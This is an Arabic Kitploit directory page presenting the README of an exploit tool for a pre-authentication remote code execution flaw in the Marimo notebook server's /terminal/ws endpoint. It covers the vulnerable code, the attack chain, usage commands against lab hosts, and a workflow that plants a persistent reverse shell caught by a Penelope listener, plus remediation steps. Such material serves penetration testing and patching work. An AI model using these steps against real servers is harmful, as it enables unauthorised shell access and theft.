Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39987 — استغلال Marimo قبل الإصدار 0.23.0. ثغرة RCE قبل المصادقة عبر نقطة نهاية websocket: /terminal/ws. | Kitploit
أدوات/GitHubGitHub/gbuyssens/cve-2026-39987
توليد الحمولةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقأداة الوصول عن بعد
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

استغلال Marimo قبل الإصدار 0.23.0. ثغرة RCE قبل المصادقة عبر نقطة نهاية websocket: /terminal/ws.

عرض المستودع
2منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39987 — Marimo RCE بدون مصادقة (/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في Marimo، وهو خادم دفاتر ملاحظات تفاعلي بلغة Python.
اتصال WebSocket واحد غير مصادَق إلى /terminal/ws يمنح غلاف PTY تفاعليًا كاملًا بصلاحيات المستخدم الذي يشغّل عملية Marimo (غالبًا root في Docker).

للاستخدام المخبري / الاختبار المصرّح به فقط (HTB، CTF، مهمة بنطاق مكتوب).


جدول المحتويات

  • ملخص الثغرة
  • السبب الجذري
  • سلسلة الهجوم
  • الإصدارات المتأثرة
  • هذا المستودع
  • التثبيت
  • طريقة الاستخدام
  • التكامل مع Penelope
  • المعالجة
  • المراجع

  • ملخص الثغرة

    يعرّض Marimo طرفية مدمجة عبر WebSocket على العنوان:

    root@kitploit:~
    ws://<host>:<port>/terminal/ws
    wss://<host>/terminal/ws
    

    مسارات WebSocket الأخرى (لا سيما /ws الخاص بواجهة دفتر الملاحظات) تستدعي validate_auth() بشكل صحيح.
    /terminal/ws لا يفعل ذلك. فهو يتحقق فقط من:

    1. أن الخادم في وضع التحرير
    2. أن المنصة تدعم PTY

    ثم يقوم فورًا بما يلي:

    root@kitploit:~
    await websocket.accept()
    child_pid, fd = pty.fork()   # full system shell
    

    لا يلزم أي ملف تعريف ارتباط (cookie) أو رمز مميز (token) أو كلمة مرور أو ترويسة Authorization — حتى عند تفعيل المصادقة على المثيل.

    الأثر: تنفيذ أوامر عشوائية بدون مصادقة بصلاحيات عملية Marimo. في صور الحاويات الافتراضية، يكون هذا غالبًا بصلاحيات root.


    السبب الجذري

    الملف (الشجرة المعرّضة للثغرة): marimo/_server/api/endpoints/terminal.py

    root@kitploit:~
    @router.websocket("/ws")
    async def websocket_endpoint(websocket: WebSocket) -> None:
        app_state = AppState(websocket)
        if app_state.mode != SessionMode.EDIT:
            await websocket.close(...)
            return
        if not supports_terminal():
            await websocket.close(...)
            return
        # <<< no validate_auth() / @requires("edit") >>>
        await websocket.accept()
        child_pid, fd = pty.fork()
        # ... bridge WebSocket <-> PTY ...
    

    قارن ذلك مع WebSocket الخاص بدفتر الملاحظات (ws_endpoint.py)، الذي يفرض المصادقة:

    root@kitploit:~
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():
        return
    

    سلسلة الهجوم

    root@kitploit:~
     Attacker                         Marimo (edit mode)
        |                                    |
        |  WS upgrade /terminal/ws           |
        |----------------------------------->|
        |  101 Switching Protocols           |
        |  (no auth challenge)               |
        |<-----------------------------------|
        |                                    |  pty.fork() → /bin/bash
        |  "id\n"                            |
        |----------------------------------->|
        |  uid=1000(marimo) ...              |
        |<-----------------------------------|
        |  persistent reverse shell          |
        |----------------------------------->|
        |         <======== TCP shell =======|
    
    1. الاتصال بـ ws(s)://target/terminal/ws بدون بيانات اعتماد
    2. يقبل الخادم الاتصال وينشئ غلافًا مدعومًا بـ PTY
    3. أرسل ضغطات المفاتيح (الأوامر) عبر WebSocket
    4. اختياريًا، أنشئ غلافًا عكسيًا منفصلًا يبقى نشطًا بعد إنهاء اتصال WS

    الإصدارات المتأثرة

    الحالةالإصدارات
    هشMarimo <= 0.20.4 (قبل الإصلاح)
    مُصلَحMarimo 0.23.0 والإصدارات الأحدث

    أي نشر يعرّض WebSocket الخاص بالطرفية (وضع التحرير، مع دعم PTY) دون بوابة مصادقة خارجية يقع ضمن نطاق الثغرة.


    هذا المستودع

    الملفالدور
    exploit.pyإثبات المفهوم (PoC): تنفيذ أوامر + غلاف عكسي دائم + مشغّل Penelope
    penelope.pyمعالج غلاف مستقل (brightio/penelope)
    README.mdهذا الملف

    التثبيت

    root@kitploit:~
    git clone <this-repo> CVE-2026-39987
    cd CVE-2026-39987
    chmod +x exploit.py penelope.py
    

    penelope.py لا يتطلب أي تبعيات إضافية (مكتبة Python 3.6+ القياسية).


    طريقة الاستخدام

    1. تنفيذ أمر لمرة واحدة

    root@kitploit:~
    python3 exploit.py https://example.lab "id"
    python3 exploit.py https://example.lab  -p
    python3 exploit.py wss://example.lab/terminal/ws "whoami"
    

    ما يحدث:

    1. عملية فرعية (forked child) تنتظر لفترة وجيزة، ثم تُسلّم غلافًا عكسيًا منفصلًا عبر /terminal/ws
    2. العملية الأب تستبدل صورتها بـ Penelope على 0.0.0.0:4444
    3. عند وصول الاتصال الراجع (callback)، يلتقط Penelope الجلسة تلقائيًا ويُرقّيها

    إذا لزم الأمر

    root@kitploit:~
    python3 exploit.py -h
    

    التكامل مع Penelope

    Penelope يُرفق كبرنامج مستقل (penelope.py):

    • بدون تثبيت، المكتبة القياسية فقط
    • معالج جلسات متعددة
    • ترقية تلقائية إلى TTY
    • رفع/تنزيل الملفات، تسجيل الأنشطة (logging)، إلخ.

    التدفق الافتراضي (-p):

    root@kitploit:~
    exploit.py
       ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
       │
       └── exec ► penelope.py <PORT> -i 0.0.0.0
                        ▲
                        │ TCP callback
                        └── victim
    

    تُستخدم العملية الفرعية عن قصد: os.execv(penelope) يستبدل صورة العملية الأب، وهو ما قد يقتل خيطًا خلفيًا.

    تشغيل Penelope يدويًا:

    root@kitploit:~
    python3 penelope.py 4444
    python3 penelope.py 4444 -i 0.0.0.0
    python3 penelope.py -a          # show sample payloads for active listeners
    

    المعالجة

    1. رقِّ إلى Marimo >= 0.23.0 (pip install -U marimo)
    2. لا تعرّض خوادم دفاتر الملاحظات في وضع التحرير للإنترنت العام
    3. ضع المصادقة/التفويض (authn/authz) عند بروكسي عكسي إذا كان التطبيق يجب أن يكون متاحًا عن بُعد
    4. اربط الخدمة بـ localhost / الشبكة الخاصة؛ واستخدم VPN أو أنفاق SSH
    5. بعد الاشتباه في حدوث استغلال: دَوِّر بيانات الاعتماد التي يمكن الوصول إليها من المضيف (مفاتيح السحابة، .env، مفاتيح SSH)، وراجع الاتصالات الصادرة ومواضع الثبات (persistence)

    المراجع

    • NVD — CVE-2026-39987
    • GHSA-2679-6mx9-h9xc
    • إصلاح Marimo في PR #9098
    • تحليل Resecurity
    • معالج غلاف Penelope

    إخلاء مسؤولية

    هذا المشروع مخصص فقط للاختبارات الأمنية المصرّح بها والتعليم والبحث الدفاعي.
    أنت مسؤول عن الامتثال للقوانين السارية وقواعد الاشتباك (rules of engagement) الخاصة بمختبرك أو عميلك.

    تنزيل الأداة